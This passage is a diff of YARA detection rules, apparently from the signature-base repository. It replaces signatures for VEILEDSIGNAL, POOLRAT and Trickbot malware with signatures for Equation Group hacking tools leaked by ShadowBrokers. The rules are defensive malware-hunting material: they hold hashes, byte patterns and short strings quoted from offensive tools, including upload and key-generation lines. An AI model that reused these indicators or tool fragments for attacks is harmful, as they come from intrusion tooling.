+		$x4 = "You will not be able to run the shellcode. Exiting..." fullword ascii
 
 	condition:
-		2 of them
+		( uint16(0)==0x457f and filesize <70KB and 1 of them ) or (2 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_NK_MAL_M_Hunting_VEILEDSIGNAL_1 : FILE
+rule SIGNATURE_BASE_Equationgroup__Pclean_V2_1_1_Pclean_V2_1_1_4 : FILE
 {
 	meta:
-		description = "Detects VEILEDSIGNAL malware"
-		author = "Mandiant"
-		id = "3e7c92fe-a7bd-5180-9935-4f98f2b64e2b"
-		date = "2023-04-20"
+		description = "Equation Group hack tool leaked by ShadowBrokers- from files pclean.v2.1.1.0-linux-i386, pclean.v2.1.1.0-linux-x86_64"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ed4a3b3a-0935-533b-80dd-ee23b2e8df00"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_tradingtech_apr23.yar#L37-L55"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "439a201e6a44a00a31fd13efc83a1acf858a52201e3ab48d5cf095bae1e48cf7"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L914-L930"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5622d6fff876fa5d07795491d14f0396378c1b07b69cf8bcabb5e0bd3c19e72a"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
-		hash1 = "404b09def6054a281b41d309d809a428"
-		hash2 = "c6441c961dcad0fe127514a918eaabd4"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "cdb5b1173e6eb32b5ea494c38764b9975ddfe83aa09ba0634c4bafa41d844c97"
+		hash2 = "ab7f26faed8bc2341d0517d9cb2bbf41795f753cd21340887fc2803dc1b9a1dd"
 
 	strings:
-		$rh1 = { 68 5D 7A D2 2C 3C 14 81 2C 3C 14 81 2C 3C 14 81 77 54 10 80 26 3C 14 81 77 54 17 80 29 3C 14 81 77 54 11 80 AB 3C 14 81 D4 4C 11 80 33 3C 14 81 D4 4C 10 80 22 3C 14 81 D4 4C 17 80 25 3C 14 81 77 54 15 80 27 3C 14 81 2C 3C 15 81 4B 3C 14 81 94 4D 1D 80 28 3C 14 81 94 4D 14 80 2D 3C 14 81 94 4D 16 80 2D 3C 14 81 }
-		$rh2 = { 00 E5 A0 2B 44 84 CE 78 44 84 CE 78 44 84 CE 78 1F EC CA 79 49 84 CE 78 1F EC CD 79 41 84 CE 78 1F EC CB 79 C8 84 CE 78 BC F4 CA 79 4A 84 CE 78 BC F4 CD 79 4D 84 CE 78 BC F4 CB 79 65 84 CE 78 1F EC CF 79 43 84 CE 78 44 84 CF 78 22 84 CE 78 FC F5 C7 79 42 84 CE 78 FC F5 CE 79 45 84 CE 78 FC F5 CC 79 45 84 CE 78}
-		$rh3 = { DA D2 21 22 9E B3 4F 71 9E B3 4F 71 9E B3 4F 71 C5 DB 4C 70 94 B3 4F 71 C5 DB 4A 70 15 B3 4F 71 C5 DB 4B 70 8C B3 4F 71 66 C3 4B 70 8C B3 4F 71 66 C3 4C 70 8F B3 4F 71 C5 DB 49 70 9F B3 4F 71 66 C3 4A 70 B0 B3 4F 71 C5 DB 4E 70 97 B3 4F 71 9E B3 4E 71 F9 B3 4F 71 26 C2 46 70 9F B3 4F 71 26 C2 B0 71 9F B3 4F 71 9E B3 D8 71 9F B3 4F 71 26 C2 4D 70 9F B3 4F 71 }
-		$rh4 = { CB 8A 35 66 8F EB 5B 35 8F EB 5B 35 8F EB 5B 35 D4 83 5F 34 85 EB 5B 35 D4 83 58 34 8A EB 5B 35 D4 83 5E 34 09 EB 5B 35 77 9B 5E 34 92 EB 5B 35 77 9B 5F 34 81 EB 5B 35 77 9B 58 34 86 EB 5B 35 D4 83 5A 34 8C EB 5B 35 8F EB 5A 35 D3 EB 5B 35 37 9A 52 34 8C EB 5B 35 37 9A 58 34 8E EB 5B 35 37 9A 5B 34 8E EB 5B 35 37 9A 59 34 8E EB 5B 35 }
+		$s1 = "-c cmd_name:     strncmp() search for 1st %d chars of commands that " fullword ascii
+		$s2 = "e.g.: -n 1-1024,1080,6666,31337 " fullword ascii
 
 	condition:
-		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and 1 of ($rh*)
+		( uint16(0)==0x457f and filesize <50KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_NK_MAL_M_Hunting_VEILEDSIGNAL_2 : FILE
+rule SIGNATURE_BASE_Equationgroup__Jparsescan_Parsescan_5 : FILE
 {
 	meta:
-		description = "Detects VEILEDSIGNAL malware"
-		author = "Mandiant"
-		id = "1b96c2f0-1c57-593e-9630-a72d43eb857e"
-		date = "2023-04-20"
+		description = "Equation Group hack tool leaked by ShadowBrokers- from files jparsescan, parsescan"
+		author = "Florian Roth (Nextron Systems)"
+		id = "964a4e49-9163-5dd6-bb2c-88fa39d5f356"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_tradingtech_apr23.yar#L57-L76"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "62f74faa8f136f4dc63a4b703cffcb97b438cc4f180d5d127d1fc4b86d3cd1d1"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L932-L950"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "719baa53db53f4cc4f3e9ed935814e42e5cb4b7fb8eaaa373feb73df69bfcde0"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
-		hash1 = "404b09def6054a281b41d309d809a428"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "8c248eec0af04300f3ba0188fe757850d283de84cf42109638c1c1280c822984"
+		hash2 = "942c12067b0afe9ebce50aa9dfdbf64e6ed0702d9a3a00d25b4fca62a38369ef"
 
 	strings:
-		$sb1 = { C1 E0 05 4D 8? [2] 33 D0 45 69 C0 7D 50 BF 12 8B C2 41 FF C2 C1 E8 07 33 D0 8B C2 C1 E0 16 41 81 C0 87 D6 12 00 }
-		$si1 = "CryptBinaryToStringA" fullword
-		$si2 = "BCryptGenerateSymmetricKey" fullword
-		$si3 = "CreateThread" fullword
-		$ss1 = "ChainingModeGCM" wide
-		$ss2 = "__tutma" fullword
+		$s1 = "# default is to dump out all scanned hosts found" fullword ascii
+		$s2 = "$bool .= \" -r \" if (/mibiisa.* -r/);" fullword ascii
+		$s3 = "sadmind is available on two ports, this also works)" fullword ascii
+		$s4 = "-x IP      gives \\\"hostname:# users:load ...\\\" if positive xwin scan" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and all of them
+		( uint16(0)==0x2123 and filesize <40KB and 1 of them ) or (2 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_NK_MAL_M_Hunting_VEILEDSIGNAL_3 : FILE
+rule SIGNATURE_BASE_Equationgroup__Funnelout_V4_1_0_1 : FILE
 {
 	meta:
-		description = "Detects VEILEDSIGNAL malware"
-		author = "Mandiant"
-		id = "82790c65-1d93-509b-95df-841543943c30"
-		date = "2023-04-20"
+		description = "Equation Group hack tool leaked by ShadowBrokers- from files funnelout.v4.1.0.1.pl"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b0c42b06-8314-5731-b333-59bb90785cf4"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_tradingtech_apr23.yar#L78-L96"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c6441c961dcad0fe127514a918eaabd4"
-		logic_hash = "2109340edfb1891baef5bd92ba3c9da77f891341de9e8094060a649de62fade2"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L952-L969"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ae0b387725017de2766593ea55677dca36eee68107e0692a7d5e2526db74765b"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash2 = "457ed14e806fdbda91c4237c8dc058c55e5678f1eecdd78572eff6ca0ed86d33"
 
 	strings:
-		$ss1 = { 61 70 70 6C 69 63 61 74 69 6F 6E 2F 6A 73 6F 6E 2C 20 74 65 78 74 2F 6A 61 76 61 73 63 72 69 70 74 2C 20 2A 2F 2A 3B 20 71 3D 30 2E 30 31 00 00 61 63 63 65 70 74 00 00 65 6E 2D 55 53 2C 65 6E 3B 71 3D 30 2E 39 00 00 61 63 63 65 70 74 2D 6C 61 6E 67 75 61 67 65 00 63 6F 6F 6B 69 65 00 00 }
-		$si1 = "HttpSendRequestW" fullword
-		$si2 = "CreateNamedPipeW" fullword
-		$si3 = "CreateThread" fullword
-		$se1 = "DllGetClassObject" fullword
+		$s1 = "header(\"Set-Cookie: bbsessionhash=\" . \\$hash . \"; path=/; HttpOnly\");" fullword ascii
+		$s2 = "if ($code =~ /proxyhost/) {" fullword ascii
+		$s3 = "\\$rk[1] = \\$rk[1] - 1;" ascii
+		$s4 = "#existsUser($u) or die \"User '$u' does not exist in database.\\n\";" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and all of them
+		( uint16(0)==0x2123 and filesize <100KB and 2 of them ) or ( all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_NK_MAL_M_Hunting_VEILEDSIGNAL_4 : FILE
+rule SIGNATURE_BASE_Equationgroup__Magicjack_V1_1_0_0_Client : FILE
 {
 	meta:
-		description = "Detects VEILEDSIGNAL malware"
-		author = "Mandiant"
-		id = "379e6471-3c4f-5c72-b8fd-17f481e89ac6"
-		date = "2023-04-20"
+		description = "Equation Group hack tool leaked by ShadowBrokers- from files magicjack_v1.1.0.0_client-1.1.0.0.py"
+		author = "Florian Roth (Nextron Systems)"
+		id = "be18f36c-3d6c-53a3-89b6-bfc53e1dd87d"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_tradingtech_apr23.yar#L98-L118"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2a875c39a43ff054ed5a6cf2fa1f17c2adc189452582763db8ceddfa652abfbf"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L971-L988"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5e22b01aa9b1283fa7a326b7c0f8047ed373fac750c89e9ba02c49f0f454e275"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
-		hash1 = "404b09def6054a281b41d309d809a428"
-		hash2 = "c6441c961dcad0fe127514a918eaabd4"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "63292a2353275a3bae012717bb500d5169cd024064a1ce8355ecb4e9bfcdfdd1"
 
 	strings:
-		$sb1 = { FF 15 FC 76 01 00 8B F0 85 C0 74 ?? 8D 50 01 [6-16] FF 15 [4] 48 8B D8 48 85 C0 74 ?? 89 ?? 24 28 44 8B CD 4C 8B C? 48 89 44 24 20 }
-		$sb2 = { 33 D2 33 C9 FF 15 [4] 4C 8B CB 4C 89 74 24 28 4C 8D 05 [2] FF FF 44 89 74 24 20 33 D2 33 C9 FF 15 }
-		$si1 = "CreateThread" fullword
-		$si2 = "MultiByteToWideChar" fullword
-		$si3 = "LocalAlloc" fullword
-		$se1 = "DllGetClassObject" fullword
+		$s1 = "temp = ((left >> 1) ^ right) & 0x55555555" fullword ascii
+		$s2 = "right ^= (temp <<  16) & 0xffffffff" fullword ascii
+		$s3 = "tempresult = \"\"" fullword ascii
+		$s4 = "num = self.bytes2long(data)" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and all of them
+		( uint16(0)==0x2123 and filesize <80KB and 3 of them ) or ( all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_NK_MAL_M_Hunting_VEILEDSIGNAL_5 : FILE
+rule SIGNATURE_BASE_Equationgroup__Ftshell : FILE
 {
 	meta:
-		description = "Detects VEILEDSIGNAL malware"
-		author = "Mandiant"
-		id = "7d0718fc-4f1c-5293-8dc4-81a5783fbfb2"
-		date = "2023-04-20"
+		description = "Equation Group hack tool leaked by ShadowBrokers- from files ftshell, ftshell.v3.10.3.7"
+		author = "Florian Roth (Nextron Systems)"
+		id = "6a2db0a0-386f-5ea6-b0bc-e28ed2fd53d5"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_tradingtech_apr23.yar#L120-L143"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5d43b8198ad224bee8d290dd7031d73f76a7d957a2e3b44d89e7aaf5f2c94c65"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L990-L1007"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "84c646b2c81f870f650fafd26471017b00b3b7020e72390f818304958e694572"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
-		hash1 = "6727284586ecf528240be21bb6e97f88"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "9bebeb57f1c9254cb49976cc194da4be85da4eb94475cb8d813821fb0b24f893"
+		hash4 = "0be739024b41144c3b63e40e46bab22ac098ccab44ab2e268efc3b63aea02951"
 
 	strings:
-		$sb1 = { 48 8D 15 [4] 48 8D 4C 24 4C E8 [4] 85 C0 74 ?? 48 8D 15 [4] 48 8D 4C 24 4C E8 [4] 85 C0 74 ?? 48 8D 15 [4] 48 8D 4C 24 4C E8 [4] 85 C0 74 ?? 48 8D [3] 48 8B CB FF 15 [4] EB }
-		$ss1 = "chrome.exe" wide fullword
-		$ss2 = "firefox.exe" wide fullword
-		$ss3 = "msedge.exe" wide fullword
-		$ss4 = "\\\\.\\pipe\\*" ascii fullword
-		$ss5 = "FindFirstFileA" ascii fullword
-		$ss6 = "Process32FirstW" ascii fullword
-		$ss7 = "RtlAdjustPrivilege" ascii fullword
-		$ss8 = "GetCurrentProcess" ascii fullword
-		$ss9 = "NtWaitForSingleObject" ascii fullword
+		$s1 = "if { [string length $uRemoteUploadCommand]" fullword ascii
+		$s2 = "processUpload" fullword ascii
+		$s3 = "global dothisreallyquiet" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and all of them
+		( uint16(0)==0x2123 and filesize <100KB and 2 of them ) or ( all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_NK_MAL_M_Hunting_VEILEDSIGNAL_6 : FILE
+rule SIGNATURE_BASE_Equationgroup_Store_Linux_I386_V_3_3_0 : FILE
 {
 	meta:
-		description = "Detects VEILEDSIGNAL malware"
-		author = "Mandiant"
-		id = "2cbedbc0-d465-5674-bf9c-9362003eb8d2"
-		date = "2023-04-20"
+		description = "Equation Group hack tool set"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b88be148-5308-583a-b41e-2bea9b837e2a"
+		date = "2017-04-09"
 		modified = "2023-12-05"
-		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_tradingtech_apr23.yar#L145-L164"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d3b1e5f7a6b73fc4cdc5abe19a412130cde33c2d52c0ad78256b865e018e3794"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1018-L1033"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f284c2fecee23f01f83e0534d7d56a88b102e6dcc02a26321fe246604dc8cb0e"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
-		hash1 = "00a43d64f9b5187a1e1f922b99b09b77"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "abc27fda9a0921d7cf2863c29768af15fdfe47a0b3e7a131ef7e5cc057576fbc"
 
 	strings:
-		$ss1 = "C:\\Programdata\\" wide
-		$ss2 = "devobj.dll" wide fullword
-		$ss3 = "msvcr100.dll" wide fullword
-		$ss4 = "TpmVscMgrSvr.exe" wide fullword
-		$ss5 = "\\Microsoft\\Windows\\TPM" wide fullword
-		$ss6 = "CreateFileW" ascii fullword
+		$s1 = "[-] Failed to map file: %s" fullword ascii
+		$s2 = "[-] can not NULL terminate input data" fullword ascii
+		$s3 = "[!] Name has size of 0!" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x010B) and all of them
+		( uint16(0)==0x457f and filesize <60KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_SUSP_NK_MAL_M_Hunting_POOLRAT
+rule SIGNATURE_BASE_Equationgroup_Morerats_Client_Genkey : FILE
 {
 	meta:
-		description = "Detects strings found in POOLRAT malware"
-		author = "Mandiant"
-		id = "70f5f3a0-0fd0-54dc-97cc-4f3c35f02fcd"
-		date = "2023-04-20"
+		description = "Equation Group hack tool set"
+		author = "Florian Roth (Nextron Systems)"
+		id = "fb305be7-9e16-502e-89ca-a40bb6890404"
+		date = "2017-04-09"
 		modified = "2023-12-05"
-		old_rule_name = "APT_NK_MAL_M_Hunting_POOLRAT"
-		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_tradingtech_apr23.yar#L166-L202"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ac8db844a9c4ed961930417809afb706ea948c4509a4be1eaeed77f09c86069d"
-		score = 70
-		quality = 83
-		tags = ""
-		disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
-		hash1 = "451c23709ecd5a8461ad060f6346930c"
-
-	strings:
-		$s1 = "name=\"uid\"%s%s%u%s" ascii wide
-		$s2 = "name=\"session\"%s%s%u%s" ascii wide
-		$s3 = "name=\"action\"%s%s%s%s" ascii wide
-		$s4 = "name=\"token\"%s%s%u%s" ascii wide
-		$str1 = "--N9dLfqxHNUUw8qaUPqggVTpX-" wide ascii nocase
-
-	condition:
-		any of ($s*) or $str1
-}
-import "pe"
-
-rule SIGNATURE_BASE_APT_NK_Tradingtech_Forensicartifacts_Apr23_1 : FILE
-{
-	meta:
-		description = "Detects forensic artifacts, file names and keywords related the Trading Technologies compromise UNC4736"
-		author = "Florian Roth"
-		id = "f79a5321-4f22-52d9-aa83-4aa750ecc036"
-		date = "2023-04-20"
-		modified = "2023-04-21"
-		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_tradingtech_apr23.yar#L204-L225"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "50329427e56b70335a12f0dde87a36ac95838377482eebab334d252332fe481b"
-		score = 60
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1035-L1049"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c1d823e297b0b1f47f12a3240d59f5ecc482f1140e5b2962f76ec2fff719664a"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "0ce455fb7f46e54a5db9bef85df1087ff14d2fc60a88f2becd5badb9c7fe3e89"
 
 	strings:
-		$x1 = "www.tradingtechnologies.com/trading/order-management" ascii wide
-		$xf1 = "X_TRADER_r7.17.90p608.exe" ascii wide
-		$xf2 = "\\X_TRADER-ja.mst" ascii wide
-		$xf3 = "C:\\Programdata\\TPM\\TpmVscMgrSvr.exe" ascii wide
-		$xf4 = "C:\\Programdata\\TPM\\winscard.dll" ascii wide
-		$fp1 = "<html"
+		$x1 = "rsakey_txt = lo_execute('openssl genrsa 2048 2> /dev/null | openssl rsa -text 2> /dev/null')" fullword ascii
+		$x2 = "client_auth = binascii.hexlify(lo_execute('openssl rand 16'))" fullword ascii
 
 	condition:
-		not uint16(0)==0x5025 and 1 of ($x*) and not 1 of ($fp*)
+		( filesize <3KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_SUSP_TH_APT_UNC4736_Tradingtech_Cert_Apr23_1
+rule SIGNATURE_BASE_Equationgroup_Cursetingle_2_0_1_2_Mswin32_V_2_0_1 : FILE
 {
 	meta:
-		description = "Threat hunting rule that detects samples signed with the compromised Trading Technologies certificate after May 2022"
-		author = "Florian Roth"
-		id = "9a05fba9-9466-5b69-9207-27ad01d6eb8b"
-		date = "2023-04-20"
+		description = "Equation Group hack tool set"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7a1870ba-d600-5c11-8d3d-41395ad8be63"
+		date = "2017-04-09"
 		modified = "2023-12-05"
-		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_tradingtech_apr23.yar#L227-L242"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "47941828b3c18ed39eddacbc73e147651a9bd48e1a0f7b9847ff1d4c6fea6afd"
-		score = 65
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1051-L1065"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bc27edc946beb5065d4fe43e53a33b448c24c7dd3eae0cedd4770c02fce7836b"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "614bf159b956f20d66cedf25af7503b41e91841c75707af0cdf4495084092a61"
 
 	strings:
-		$s1 = { 00 85 38 A6 C5 01 8F 50 FC }
-		$s2 = "Go Daddy Secure Certificate Authority - G2"
-		$s3 = "Trading Technologies International, Inc"
+		$s1 = "[%.2u%.2u%.2u%.2u%.2u%.2u]" fullword ascii
+		$s2 = "0123456789abcdefABCEDF:" fullword ascii
 
 	condition:
-		pe.timestamp>1651363200 and all of them
+		( uint16(0)==0x5a4d and filesize <300KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Trickbot_Oct19_1 : FILE
+rule SIGNATURE_BASE_Equationgroup_Cursesleepy_Mswin32_V_1_0_0 : FILE
 {
 	meta:
-		description = "Detects Trickbot malware"
+		description = "Equation Group hack tool set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b428cbf9-0796-5a01-9b98-28e1bc6827cc"
-		date = "2019-10-02"
+		id = "f60ff218-1cb7-5f44-a756-1ee67649e6a6"
+		date = "2017-04-09"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_trickbot.yar#L3-L22"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fef15c0bda6dc2b28f34791da3ca68a03f7368b63ead17e631a2d4f05d1b40e2"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1067-L1082"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0dcbf2b314ff9c392ae0cb4f14762dd20c6b85f7f547af683db3aea1c57dee57"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "58852140a2dc30e799b7d50519c56e2fd3bb506691918dbf5d4244cc1f4558a2"
-		hash2 = "aabf54eb27de3d72078bbe8d99a92f5bcc1e43ff86774eb5321ed25fba5d27d4"
-		hash3 = "9d6e4ad7f84d025bbe9f95e74542e7d9f79e054f6dcd7b37296f01e7edd2abae"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "6293439b4b49e94f923c76e302f5fc437023c91e063e67877d22333f05a24352"
 
 	strings:
-		$s1 = "Celestor@hotmail.com" fullword ascii
-		$s2 = "\\txtPassword" ascii
-		$s14 = "Invalid Password, try again!" fullword wide
-		$op1 = { 78 c4 40 00 ff ff ff ff b4 47 41 }
-		$op2 = { 9b 68 b2 34 46 00 eb 14 8d 55 e4 8d 45 e8 52 50 }
+		$s1 = "A}%j,R" fullword ascii
+		$op1 = { a1 e0 43 41 00 8b 0d 34 44 41 00 6b c0 }
+		$op2 = { 33 C0 F3 A6 74 14 8B 5D 08 8B 4B 34 50 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <=2000KB and 3 of them
+		( uint16(0)==0x5a4d and filesize <200KB and 2 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Trickbot_Oct19_2 : FILE
+rule SIGNATURE_BASE_Equationgroup_Cursehelper_Win2K_I686_V_2_2_0 : FILE
 {
 	meta:
-		description = "Detects Trickbot malware"
+		description = "Equation Group hack tool set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2ff69a51-d089-53e5-ab19-4fbdf20f90f8"
-		date = "2019-10-02"
